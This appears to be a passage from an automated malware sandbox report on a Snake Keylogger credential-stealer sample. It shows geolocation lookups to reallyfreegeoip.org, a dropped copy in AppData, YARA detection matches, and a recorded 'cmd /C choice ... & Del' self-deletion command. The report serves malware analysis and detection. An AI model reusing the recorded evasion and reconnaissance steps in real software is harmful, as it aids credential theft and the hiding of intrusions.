2024-09-26 10:12:47 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49779	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:48 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:48 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:48 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10400 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ytg0rAOS%2FRBMWfZEFlBfB%2B2JH2VJExG%2FusCdO%2BafdE8613Fc%2BAv3AxKKQpUrJc7GDTD34Xh3IBKj11R8iSBAfn8pMxKGIeZ11JLJSIUKAvpnFRes5NMmkwiYL3w0fS%2FVwYNcIwJ2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a48ba024390-EWR
2024-09-26 10:12:48 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49781	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:49 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:49 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:49 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10401 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZxtPKb3s4vMMRgocTw4mRJjTptQn%2BcWq6M2qYdYuFX8TxagHpoo%2BTcmgGvBTSw%2BwZDdnFLdItcqJuxPRu%2BwcXgO85sZm3fr3md%2FOWatAm8EvOHvZg9pY30sjfUXGm6mKykERXfN8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a517b1c4268-EWR
2024-09-26 10:12:49 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49783	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:50 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:50 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:50 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10402 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BS%2BjAut6Wvb4L9KCuBZow7WJiTOUQ73Z7mVRK6eTOToiBjFJd1NOR5FhRGCGLXkSwROpbhg0swfgnWF9yglJ0FVM2hkScURzaxN%2BjoVnctJdTrI92QiuLC90Y1dDWJXF%2BZhEl7bu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a5a1e4b43df-EWR
2024-09-26 10:12:50 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49785	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:51 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:52 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10404 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=47Qh0CBxL9KYWzYqP0s24cT7D3M46tqCi4GhnyPNckm4MSSjJVEYef5ockeW4ah9r%2FJcfm%2BN68jwncLZdAXjrC7NXQjKUNcoJG%2BfgoB9GwxJJfH4tYOOdPN1vqFxThUiTkIpKHHU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a611f1c4376-EWR
2024-09-26 10:12:52 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:11:56
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\Ref_336210627.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ref_336210627.exe"
Imagebase:	0xed0000
File size:	183'928 bytes
MD5 hash:	BD22F0C99670C51675EBB91843DB7181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:12:09
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:12:19
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\ijohw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ijohw.exe"
Imagebase:	0x540000
File size:	183'928 bytes
MD5 hash:	BD22F0C99670C51675EBB91843DB7181
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:12:21
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:12:21
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:12:21
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x710000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:12:28
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\ijohw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ijohw.exe"
Imagebase:	0xdb0000
File size:	183'928 bytes
MD5 hash:	BD22F0C99670C51675EBB91843DB7181
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:12:32
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x2d0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:12:41
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xf30000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:12:42
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 2836, Parent PID: 1308

General

Target ID:	13
Start time:	06:12:42
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:12:42
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x710000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:12:51
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 5052, Parent PID: 6748

General

Target ID:	16
Start time:	06:12:51
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:12:51
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x710000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.7%
Dynamic/Decrypted Code Coverage:	96.9%
Signature Coverage:	6.2%
Total number of Nodes:	96
Total number of Limit Nodes:	3

Executed Functions

Function 066CC1F0 Relevance: 14.9, Strings: 11, Instructions: 1154COMMON

Download Yara Rule

Strings

$kq, xrefs: 066CC483
,oq, xrefs: 066CCCBA
$kq, xrefs: 066CC647
$kq, xrefs: 066CCAD1
$kq, xrefs: 066CC493
$kq, xrefs: 066CC707
$kq, xrefs: 066CC657
$kq, xrefs: 066CCAE1
$kq, xrefs: 066CC6F7
$kq, xrefs: 066CCB2A
$kq, xrefs: 066CCB3A

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: ,oq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-3963176596
Opcode ID: bc7f17ed43530bf4227d25094d056580e8354eff6d2655af8adcc22afa7e308f
Instruction ID: e074f4f4d5db8ed173b34d230a3cc94ff87c206841f72b7719ecbd0a4fb57bbb
Opcode Fuzzy Hash: bc7f17ed43530bf4227d25094d056580e8354eff6d2655af8adcc22afa7e308f
Instruction Fuzzy Hash: DAB2E774A00618DFDB54CFA9C994BADB7B6FF88310F148599E509AB3A5CB70AC81CF50

Function 066CC527 Relevance: 6.7, Strings: 5, Instructions: 495COMMON

